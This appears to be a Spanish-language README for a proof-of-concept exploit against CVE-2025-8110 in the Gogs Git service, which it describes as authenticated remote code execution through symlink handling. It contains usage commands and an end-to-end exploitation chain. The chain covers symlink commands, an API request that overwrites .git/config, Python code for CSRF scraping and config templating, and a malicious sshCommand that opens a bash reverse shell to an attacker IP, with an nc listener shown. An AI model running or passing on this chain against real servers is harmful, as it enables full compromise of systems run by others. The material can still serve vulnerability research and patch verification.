
Exploit PoC para CVE-2025-8110
CVE-2025-8110 es una vulnerabilidad crítica en Gogs que permite a atacantes autenticados lograr ejecución remota de código mediante la manipulación de enlaces simbólicos en repositorios. Esta prueba de concepto demuestra la cadena de explotación completa, desde la autenticación hasta la obtención de una shell inversa.
La vulnerabilidad existe porque Gogs sigue enlaces simbólicos al manejar archivos de repositorio a través de su API, permitiendo a un atacante leer y modificar archivos sensibles como .git/config. Al inyectar una directiva sshCommand maliciosa, se pueden ejecutar comandos arbitrarios del sistema con los privilegios de la cuenta de servicio de Gogs.
Puntuación CVSS: 7.2 (Alta)
Vector de Ataque: Red
Autenticación Requerida: Sí
Interacción del Usuario: Ninguna
Impacto: Compromiso completo del sistema
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # Script de explotación principal
├── requirements.txt # Dependencias de Python
└── README.md # Documentación
| Opción | Descripción | Requerido |
|---|---|---|
-u, --url | URL base de Gogs (ej. https://gogs.ejemplo.com) | Sí |
-lh, --host | Dirección IP del atacante para la shell inversa | Sí |
-lp, --port | Puerto del atacante para la shell inversa | Sí |
-U, --username | Nombre de usuario de Gogs | Sí |
-P, --password | Contraseña de Gogs | Sí |
-x, --proxy | Habilitar proxy (localhost:8080) | No |
-v, --verbose | Habilitar salida detallada | No |
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-8110 Exploitation Chain │
└─────────────────────────────────────────────────────────────────────────────┘
Paso 1: Autenticación
├── Navegar a /user/login
├── Extraer token CSRF de la página de inicio de sesión
├── Enviar credenciales con el token CSRF
└── Establecer sesión autenticada
Paso 2: Generación de Token de Aplicación
├── Navegar a /user/settings/applications
├── Extraer token CSRF de la página de configuración
├── Generar nuevo token de aplicación
└── Extraer token de la respuesta
Paso 3: Creación de Repositorio Malicioso
├── Crear repositorio mediante API con auto_init
├── Generar nombre de repositorio aleatorio
└── Obtener URL del repositorio
Paso 4: Subida de Enlace Simbólico
├── Clonar repositorio localmente
├── Crear enlace simbólico apuntando a .git/config
├── Agregar, confirmar y subir cambios
└── Verificar subida exitosa
Paso 5: Explotación RCE
├── Crear .git/config malicioso con sshCommand
├── Codificar contenido de configuración en Base64
├── Subir mediante API al destino del enlace simbólico
└── Desencadenar ejecución de comandos
Paso 6: Shell Inversa
├── Conexión establecida con el host atacante
├── Acceso interactivo a la shell
└── Ejecución de comandos en el objetivo
Gogs no sanitiza adecuadamente la travesía de enlaces simbólicos al manejar archivos de repositorio a través de su API. Cuando se accede a un archivo mediante el endpoint de la API, Gogs sigue enlaces simbólicos sin validación, permitiendo el acceso a archivos sensibles fuera del directorio del repositorio.
Creación del Enlace Simbólico
ln -s .git/config malicious_link
git add malicious_link
git commit -m "Add symlink"
git push origin master
Configuración Maliciosa
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
Explotación mediante API
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "Exploit CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""Parse CSRF token from hidden input with multiple fallback methods."""
# Method 1: Input with name _csrf
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 2: Input with name csrf_token
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 3: Meta tag with CSRF
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# Method 4: Regex pattern in script tags
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# Method 5: Regex for hidden input
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("CSRF token not found in form response")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# Máquina atacante (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)